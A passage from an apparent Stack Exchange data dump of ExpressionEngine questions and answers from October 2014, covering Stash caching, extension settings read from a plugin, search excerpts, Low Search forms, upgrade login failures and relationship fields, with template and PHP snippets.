action=&quot;/results/&quot; method=&quot;post&quot;&amp;gt;&#xA;{stash:nocache}&#xA; {exp:super_search:search}&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; id=&quot;keywords&quot; name=&quot;keywords&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;  {/exp:super_search:search}&#xA;{/stash:nocache}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;tests/top:cache&lt;/code&gt; with the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;/results/&quot; method=&quot;post&quot;&amp;gt;&#xA; {exp:super_search:search}&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; id=&quot;keywords&quot; name=&quot;keywords&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Go&amp;lt;/button&amp;gt;&#xA;  {/exp:super_search:search}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tests/top:cache&lt;/code&gt; is the &lt;em&gt;compiled&lt;/em&gt; cache of all the templates, and when you view &lt;code&gt;tests/top&lt;/code&gt; a second time that variable alone with be retrieved and parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you get the output expected.  &lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-10-02T10:24:22.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26003" PostTypeId="1" AcceptedAnswerId="26008" CreationDate="2014-10-02T10:51:16.740" Score="0" ViewCount="284" Body="&lt;p&gt;I have written a custom add-on which consists of an extension and a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension basically loops through a set of channel entries, gets some matrix data and performs a calculation based on the contents of a grid field and then stores that information within the the entry. This all works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin uses the calculation method of the extension and works OK except for one critical element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension features a setting for a &quot;multiplier value&quot; which it uses in its calculation. Everything appears to be fine with this and if I change the value in the extension's settings the resulting figures are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the plugin displays a PHP Warning about an Illegal string offset for this multiplier setting. If I hardcode the setting within the extension or remove that part of the calculation then again it works OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be the way the extension accesses the setting value. I'm guessing that when used internally it manages to muddle through and works but is fundamentally done incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the following within my extension;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function settings() {&#xA;        $settings = array();&#xA;        $settings['points_multiplier']      = array('i', '', &quot;1&quot;); // default value is 1&#xA;        return $settings;&#xA;    } // END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the method that does the calculation returns a value multiplied by that setting...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// use points multiplier (default is 1)&#xA;$points_multiplier = $this-&amp;gt;settings['points_multiplier']; &#xA;$total_credits = $total_credits * $points_multiplier;&#xA;return $total_credits;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I dump out the value of $points_multiplier or $this-&gt;settings['points_multiplier'] then I get the value expected (although the latter outputs a string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, I've done the settings bit correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why does my plugin throw this warning and ultimately not work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Rob Sanchez's answer fixed the problem but for the sake of completeness, here is the code that I &lt;em&gt;was&lt;/em&gt; using in my plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ext = new Fm_credits_from_entry_ext();&#xA;&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('entry_id')-&amp;gt;where('author_id',$this-&amp;gt;author_id)-&amp;gt;where('channel_id','7')-&amp;gt;where('status',$status)-&amp;gt;get('channel_titles');       &#xA;&#xA;if($query-&amp;gt;num_rows() &amp;gt; 0){&#xA;    foreach($query-&amp;gt;result_array() as $row){&#xA;        $credits += $ext-&amp;gt;calculate_total_credits($row['entry_id']);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The missing nugget of information was that when the extension is loaded by the plugin it is necessary to manually load the settings for that extension.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-03T08:01:20.747" LastActivityDate="2014-10-03T08:01:20.747" Title="Accessing extension settings from plugin throws a PHP warning" Tags="|plugin|extension|settings|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26004" PostTypeId="2" ParentId="25997" CreationDate="2014-10-02T10:57:49.260" Score="2" Body="&lt;p&gt;If you want to pass a variable in a parameter to any EE template tag, you need to add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the tag. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;firm_id&quot;}1{/exp:stash:set}&#xA;&#xA;{exp:safecracker channel=&quot;firms&quot; &#xA;   entry_id=&quot;{exp:stash:firm_id}&quot;&#xA;   return=&quot;/profile/{segment_2}/{segment_3}/success&quot; &#xA;   parse=&quot;inward&quot;&#xA;}&#xA;...&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: another way you pass a variable to another tag is via a placeholder variable inside &lt;code&gt;{exp:stash:parse}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;firm_id&quot;}1{/exp:stash:set}&#xA;&#xA;{exp:stash:parse}&#xA;    {exp:safecracker channel=&quot;firms&quot; &#xA;       entry_id=&quot;{stash:firm_id}&quot;&#xA;       return=&quot;/profile/{segment_2}/{segment_3}/success&quot;&#xA;    }&#xA;    ...&#xA;    {/exp:safecracker}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In either case, make sure the variable you are passing doesn't contain line breaks since those are captured too; E.g. this will fail when you try to pass as a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;firm_id&quot;}&#xA;1&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to remove line breaks automatically, use the &lt;code&gt;trim=&quot;yes&quot;&lt;/code&gt; parameter on either set or get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;firm_id&quot; trim=&quot;yes&quot;}&#xA;1&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-10-03T17:11:18.207" LastActivityDate="2014-10-03T17:11:18.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26005" PostTypeId="2" ParentId="26003" CreationDate="2014-10-02T11:33:26.997" Score="1" Body="&lt;p&gt;To get the value of 1 from your &lt;code&gt;$settings['points_multiplier'];&lt;/code&gt; wouldn't you need to reference it as &lt;code&gt;$settings['points_multiplier'][2]&lt;/code&gt; since it's an array ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-10-02T11:33:26.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26006" PostTypeId="2" ParentId="26003" CreationDate="2014-10-02T12:26:54.100" Score="0" Body="&lt;p&gt;Have you tried casting the value of &lt;code&gt;$this-&amp;gt;settings['points_multiplier']&lt;/code&gt; to an integer?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$points_multiplier = (int) $this-&amp;gt;settings['points_multiplier']; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-10-02T12:26:54.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26007" PostTypeId="2" ParentId="25961" CreationDate="2014-10-02T13:39:22.423" Score="1" Body="&lt;p&gt;Moving the files will prevent them being served on the site as your templates will be looking in the upload directory for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can move/copy them and then change the upload directory to the new location if this is what you want to achieve. This is done in &lt;code&gt;Content &amp;gt; Files &amp;gt; File Upload Preferences&lt;/code&gt; and then clicking 'Edit' next to the folder you want to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to synchronise the files after doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-10-02T13:39:22.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26008" PostTypeId="2" ParentId="26003" CreationDate="2014-10-02T14:18:39.173" Score="3" Body="&lt;p&gt;Judging from this statement: &quot;The plugin uses the calculation method of the extension&quot;, I assume you're doing something like this in your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ext = new Your_addon_ext();&#xA;&#xA;return $ext-&amp;gt;do_calculation(ee()-&amp;gt;TMPL-&amp;gt;fetch_param('your_value'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this scenario, the extension object will not automatically load its settings, like it normally does when EE runs its hooks. You have to explicitly load them yourself from the database. I suggest adding a method to your extension to load settings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function load_settings()&#xA;{&#xA;    if (empty($this-&amp;gt;settings))&#xA;    {&#xA;        $query = ee()-&amp;gt;db-&amp;gt;select('settings')&#xA;            -&amp;gt;where('class', __CLASS__)&#xA;            -&amp;gt;limit(1)&#xA;            -&amp;gt;get('extensions');&#xA;&#xA;        $this-&amp;gt;settings = unserialize($query-&amp;gt;row('settings'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can call this in your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ext = new Your_addon_ext();&#xA;&#xA;// load the extension settings first&#xA;$ext-&amp;gt;load_settings();&#xA;&#xA;return $ext-&amp;gt;do_calculation(ee()-&amp;gt;TMPL-&amp;gt;fetch_param('your_value'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-10-02T14:18:39.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26009" PostTypeId="1" AcceptedAnswerId="26012" CreationDate="2014-10-02T15:01:27.203" Score="0" ViewCount="96" Body="&lt;p&gt;I have a simple search form that seems to be displaying incorrect excerpts. In the channel I am searching, I have 2 channel fields, a file field and a description field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the radio button for the file field set to not be included in search results and I have the radio button for the description field set to be included in search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try a search for a word that I know to be in the description field, the results gives me the URL of the image in the file field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts as to why this could be happening?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-10-02T16:02:38.643" Title="Search Results Showing Wrong Excerpt" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26010" PostTypeId="2" ParentId="25992" CreationDate="2014-10-02T15:17:42.170" Score="2" Body="&lt;p&gt;Below final solution based on category custom fields (thanks to Mark), SEO Lite module, Low Seg2Cat and GWcode Categories plugin in case someone will have similar problem which I had.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2!=&quot;&quot; &amp;amp;&amp;amp; segment_3==&quot;&quot;}&#xA;    {exp:gwcode_categories show=&quot;{segment_2_category_id}&quot; custom_fields=&quot;yes&quot; style=&quot;linear&quot;}&#xA;        {embed=&quot;includes/.header-product&quot; &#xA;            default_title=&quot;{if meta_title==&quot;&quot;}{segment_2_category_name} Collection{if:else}{meta_title}{/if}&quot; &#xA;            default_keywords=&quot;{meta_keywords}&quot; &#xA;            default_description=&quot;{meta_description}&quot;&#xA;        }&#xA;    {/exp:gwcode_categories}&#xA;{if:elseif segment_3!=&quot;&quot;}&#xA;    {exp:gwcode_categories show=&quot;{segment_3_category_id}&quot; custom_fields=&quot;yes&quot; style=&quot;linear&quot;}&#xA;        {embed=&quot;includes/.header-product&quot; &#xA;            default_title=&quot;{if meta_title==&quot;&quot;}{segment_2_category_name} {segment_3_category_name}{if:else}{meta_title}{/if}&quot; &#xA;            default_keywords=&quot;{meta_keywords}&quot; &#xA;            default_description=&quot;{meta_description}&quot;&#xA;        }&#xA;    {/exp:gwcode_categories}&#xA;{if:else}&#xA;{embed=&quot;includes/.header-product&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-10-02T15:17:42.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26011" PostTypeId="2" ParentId="633" CreationDate="2014-10-02T15:29:24.927" Score="1" Body="&lt;p&gt;I know this is old, but I ran into this issue and fixed it by setting &quot;Automatically turn URLs and email addresses into links?&quot; to &quot;No&quot; in the appropriate Channel's preferences page (Admin -&gt; Channel Administration -&gt; Channels -&gt; Edit Preferences).&lt;/p&gt;&#xA;" OwnerUserId="2692" LastActivityDate="2014-10-02T15:29:24.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26012" PostTypeId="2" ParentId="26009" CreationDate="2014-10-02T16:02:38.643" Score="0" Body="&lt;p&gt;I believe so. My understanding is that the radio field is for &quot;should this field be searchable&quot;, not &quot;should this be the excerpt on the results page&quot;. To set this, go to Admin &gt; Channel Administration &gt; Channels &gt; YOUR CHANNEL &gt; Edit Preferences &gt; Administrative Preferences &gt; Which field should be used for search excerpt? &gt; Use the select box to pick the correct field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem a bit back to front, but makes sense when you have much more complex channels.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-10-02T16:02:38.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26013" PostTypeId="1" CreationDate="2014-10-02T16:38:02.970" Score="1" ViewCount="77" Body="&lt;p&gt;I'd massively appreciate a bit of help with the Stash ExpressionEngine plugin...&#xA;I think it must be quite simple but feel like I've tried everything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {expertise} tag is an ExpressionEngine grid field and contains multiple grid rows. I want to store these in stash - it's working to store them once but is always replaced when I run it again... I want what's stored in stash to constantly append rather than blanking the variable and starting again each time is is run...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for any help!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;barristers&quot; url_title=&quot;{segment_3}&quot; status=&quot;open&quot; sort=&quot;asc&quot; disable=&quot;pagination&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;Adding {title}'s full CV (all the skills)...&amp;lt;/p&amp;gt;&#xA;&#xA;{expertise}&#xA;&#xA;{exp:stash:append scope=&quot;user&quot; save=&quot;yes&quot; name=&quot;skills&quot; output=&quot;yes&quot; replace=&quot;no&quot;}&#xA;{expertise:row_id},&#xA;{/exp:stash:append}&#xA;&#xA;{/expertise}&#xA;&#xA;&amp;lt;p&amp;gt;IN SESSION: {exp:stash:get name=&quot;skills&quot;}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1640" LastEditorUserId="1326" LastEditDate="2014-10-03T17:43:02.200" LastActivityDate="2016-01-29T12:17:38.060" Title="ExpressionEngine Stash Replacing rather than appending" Tags="|stash|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26014" PostTypeId="1" CreationDate="2014-10-02T17:09:05.087" Score="0" ViewCount="89" Body="&lt;p&gt;It must be me, but after many many hours struggeling and reading the manual I am not getting any result.&#xA;We have a rather complicated website and my client wants to be able to search and refine search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no idea how I can make Low Search work, I must be doing something fundamental wrong. The only thing that works is search in categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must search in this channel X with many fields and checkboxes.&#xA;And refine search after a search order as well.&#xA;Where and how do I put the code in a search form? I just get a repetion of code (just as many as there are entrees for this channel)&#xA;This does not work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;zoek/resultaat&quot;}&#xA;{exp:channel:entries&#xA;          channel=&quot;X&quot;&#xA;          dynamic=&quot;no&quot;&#xA;          orderby=&quot;title&quot;&#xA;          sort=&quot;asc&quot;&#xA;          disable=&quot;categories|member_data|pagination&quot;&#xA;        }&#xA;&amp;lt;fieldset&amp;gt;&#xA;                &amp;lt;legend&amp;gt;{piano-en-toetsen}piano en toetsen&amp;lt;/legend&amp;gt;&#xA;                &amp;lt;ul class=&quot;forms-inline-list&quot;&amp;gt;&#xA;                     {options:piano-en-toetsen}&#xA;                &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; id=&quot;piano-en-toetsen&quot; name=&quot;piano-en-toetsen[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;            &amp;lt;label for=&quot;checkbox&quot;&amp;gt;{option_value}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;                    {/options:piano-en-toetsen}&#xA;                    &amp;lt;/ul&amp;gt; &#xA;                &amp;lt;/fieldset&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;                                          &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And this does not work either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label for=&quot;option&quot;&amp;gt;Option&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;search:piano-en-toetsen&quot; id=&quot;option&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;-- Select option --&amp;lt;/option&amp;gt;&#xA;      {exp:low_options:piano-en-toetsen parse=&quot;inward&quot;}&#xA;        {if option:group != ''}&amp;lt;optgroup label=&quot;{option:group}&quot;&amp;gt;{/if}&#xA;        {options}&#xA;          &amp;lt;option value=&quot;{option:value}&quot;{if option:value == low_search_search:piano-en-toetsen} selected{/if}&amp;gt;&#xA;            {option:label}&#xA;          &amp;lt;/option&amp;gt;&#xA;        {/options}&#xA;        {if option:group != ''}&amp;lt;/optgroup&amp;gt;{/if}&#xA;      {/exp:low_options:piano-en-toetsen}&#xA;    &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;      &lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is nothing as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:piano-en-toetsen}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And this, exactly as it says in the manual of EE, does not work either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;piano-en-toetsen&quot;&amp;gt;&#xA;                {options:piano-en-toetsen}&#xA;                        &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                {/options:piano-en-toetsen}&#xA;        &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-10-02T17:50:09.237" LastActivityDate="2014-10-02T17:50:09.237" Title="Who can help me please with a start with Low Search" Tags="|low-search|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26015" PostTypeId="2" ParentId="14433" CreationDate="2014-10-02T19:30:42.590" Score="0" Body="&lt;p&gt;The Expression Engine add-on called Entry Type by Rob Sanchez allows you to add a custom field to that lets you create a toggle to show and hide any combination of fields on your publish page. Very handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-10-02T19:30:42.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26016" PostTypeId="2" ParentId="25997" CreationDate="2014-10-02T20:19:13.580" Score="0" Body="&lt;p&gt;OK, so no matter what I did I couldn't get it to work as it was (even though it was outputting the correct value outside of the Safecracker form).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across another post and one thing someone said at the end was &quot;I guess I was overthinking it.&quot;  So I started to go back through and look at everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was already getting a value for the permissions from the Zoo Visitor channel using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;    {exp:stash:set name=&quot;permissions&quot;}{cf_member_firm_permissions}{/exp:stash:set}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I added another call in there to get my firm_id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details} {!-- This finds out whether they are editor or not --}&#xA;    {exp:stash:set name=&quot;permissions&quot;}{cf_member_firm_permissions}{/exp:stash:set}&#xA;   {exp:playa:children field=&quot;member_firm_name&quot;}&#xA;        {exp:stash:set name=&quot;firm_id&quot;}{entry_id}{/exp:stash:set}&#xA;   {/exp:playa:children}    &#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to use entry_id=&quot;{exp:stash:firm_id}&quot;. The additional bonus is that it also saved me from having to run the extra embed to pull the entry_id from the Firms channel.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-10-02T20:19:13.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26017" PostTypeId="1" CreationDate="2014-10-03T00:47:58.827" Score="1" ViewCount="101" Body="&lt;p&gt;I've seen posts like this but I've reached a dead end, can anyone help ?&lt;br&gt;&#xA;Post upgrade from 2.8.1 to 2.9.0&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;logging in as front end user:&lt;br&gt;&#xA;First thing I see is that &quot;S=0&quot; is prefixed before the template segments, like this http:///?/S=0/account/login&lt;br&gt;&#xA;This S=0 was not present at previous version EE2.8.1 Core.&lt;br&gt;&#xA;The login form is functioning, as a POST with an incorrect password is picked up correctly.&lt;br&gt;&#xA;A correct set of details merely refreshes the screen and clears out the form fields.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;logging in as CP user&lt;br&gt;&#xA;No &quot;S=0&quot; this time ; http:///admin.php?/cp/login&#xA;As for front end, submitting a correct set of details merely refreshes the screen and clears out the form fields.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's the parameters in play for both cases that may be relevant ....  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies only are set to on for&lt;br&gt;&#xA;$config['admin_session_type] = 'c'&lt;br&gt;&#xA;$config['user_session_type] = 'c'&lt;br&gt;&#xA;and...&lt;br&gt;&#xA;this issue occurs even when cookie_prefix and cookie_domain are set or are null&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above occurs even when&lt;br&gt;&#xA;all sessions are deleted from exp_sessions;&lt;br&gt;&#xA;cookies are deleted from browsers - have run this from Safari, Chrome and Firefox;&lt;br&gt;&#xA;$env_config['expire_session_on_browser_close'] = 'y' and $env_config['cookie_secure']= 'n';   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;re modules, having seen other posts:&lt;br&gt;&#xA;I don't have Zoo Flexible Admin installed;&lt;br&gt;&#xA;I have disabled in the database the cp_member_login hook for the structure addon;&lt;br&gt;&#xA;Also I can confirm that the &quot;redirect after login&quot; parameter in structure is set to 'n';&lt;br&gt;&#xA;and config item allow_extensions is 'n'  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="3649" LastEditDate="2014-10-07T15:40:40.817" LastActivityDate="2014-10-07T15:40:40.817" Title="after upgrading to EE 2.9.0 any valid user login attempt to CP or front end is not sucessful" Tags="|login|ee2-upgrades|sessions|cookies|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26018" PostTypeId="2" ParentId="25975" CreationDate="2014-10-03T08:51:13.960" Score="0" Body="&lt;p&gt;OK, no answers were immediately forthcoming so I worked it out on my own.  Two answer my questions at the end of the question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not caused by both entries being from the same channel&lt;/li&gt;&#xA;&lt;li&gt;It is because the relationship set up is backwards as far as the EE relationships field is concerned.  It does appear that siblings only work on relationship fields where you have enabled multiple selections&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a way to fake siblings in the case of multiple parents with a single child, I'll demonstrate it below.  Good or not is for you to decide.&lt;/li&gt;&#xA;&lt;li&gt;This question intentionally left unanswered.  I don't know, I'm not ambitious enough to find out right now.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Fake it 'Til We Make it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Remember that my channel is programs and the relationship field we are working with is pro_related_program.  We are trying to display other entries that are part of this program series, which means we are looking for other parents that share the same child entry.  Here is the code that worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pro_related_program channel=&quot;programs&quot; field=&quot;pro_related_program&quot; status=&quot;not open|closed|under_development&quot;}&#xA;  &amp;lt;h2&amp;gt;Program Series&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt;This session is part of a larger series.  For more information see &amp;lt;a href=&quot;{pro_related_program:title_permalink=&quot;programs/catalogue&quot;}&quot; title=&quot;TDLC: {pro_related_program:title}&quot;&amp;gt;{pro_related_program:title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {pro_related_program:parents field=&quot;pro_related_program&quot; status=&quot;not open|closed|under_development&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot;}&#xA;    {if pro_related_program:parents:total_results &amp;gt; 1}&#xA;      {if pro_related_program:parents:count ==1}&amp;lt;h3&amp;gt;Other Sessions in this Series&amp;lt;/h3&amp;gt;&amp;lt;ol&amp;gt;{/if}&#xA;      &amp;lt;li&amp;gt;&#xA;        {if pro_related_program:parents:url_title != segment_3}&#xA;          &amp;lt;a href=&quot;{pro_related_program:parents:title_permalink=&quot;/programs/catalogue&quot;}&quot;&amp;gt;{pro_related_program:parents:title}&amp;lt;/a&amp;gt;&#xA;        {if:else}&#xA;          {pro_related_program:parents:title}&#xA;        {/if}&#xA;      &amp;lt;/li&amp;gt;&#xA;      {if pro_related_program:parents:count == pro_related_program:parents:total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;    {/if}&#xA;  {/pro_related_program:parents}&#xA;{/pro_related_program}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This page is loading the entry based on the url_title in segment_3.  I decided to show the title of the current page as well, but toggle the link using &lt;code&gt;{if pro_related_program:parents:url_title != segment_3}&lt;/code&gt; this could just as easily (slightly easier in fact) have been used to not show the current page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how does this work?  We use the relationship field tag &lt;code&gt;{pro_related_program}&lt;/code&gt; to load the series overview page information and then use &lt;code&gt;{pro_related_program:parents}&lt;/code&gt; to load all the session entries for the series.  In retrospect this seems obvious, but it would have been very difficult to do with native tags before the relationships update.  Namespacing opens up new realms of possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someday someone finds this useful.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-10-03T08:51:13.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
